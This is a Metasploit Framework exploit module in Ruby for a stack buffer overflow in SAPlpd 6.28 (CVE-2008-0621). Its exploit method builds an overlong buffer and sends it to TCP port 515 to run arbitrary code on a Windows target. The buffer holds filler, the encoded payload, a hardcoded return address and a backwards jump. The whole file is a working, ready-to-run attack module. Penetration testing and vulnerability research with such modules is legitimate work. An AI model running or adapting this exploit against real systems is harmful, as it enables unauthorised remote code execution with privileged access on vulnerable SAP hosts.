##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'SAP SAPLPD 6.28 Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack overflow in SAPlpd 6.28 (SAP Release 6.40) .
					By sending an overly long argument, an attacker may be able to execute arbitrary
					code.
			},
			'Author'         => 'MC',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     => 
				[ 
					[ 'BID', '27613' ],
					[ 'CVE', '2008-0621' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 400,
					'BadChars' => "\x00\x0a",
					'StackAdjustment' => -3500,
					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",	
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'SAPlpd 6.28.0.1 (SAP Release 6.40)',   { 'Ret' => 0x005e72d7 } ], #SAPlpd.exe 3/7/2006
				],
			'Privileged'     => true,
			'DisclosureDate' => 'Feb 4 2008',
			'DefaultTarget'  => 0))

			register_options([Opt::RPORT(515)], self)
	end

	def exploit
		connect

		sploit =  "\x02"
		sploit << rand_text_alpha_upper(484 - payload.encoded.length)
		sploit << payload.encoded
		sploit << [target.ret].pack('V')
		sploit << [0xe9, -375].pack('CV')

		print_status("Trying target #{target.name}...")
		
		sock.puts(sploit)

		handler
		disconnect
	end
end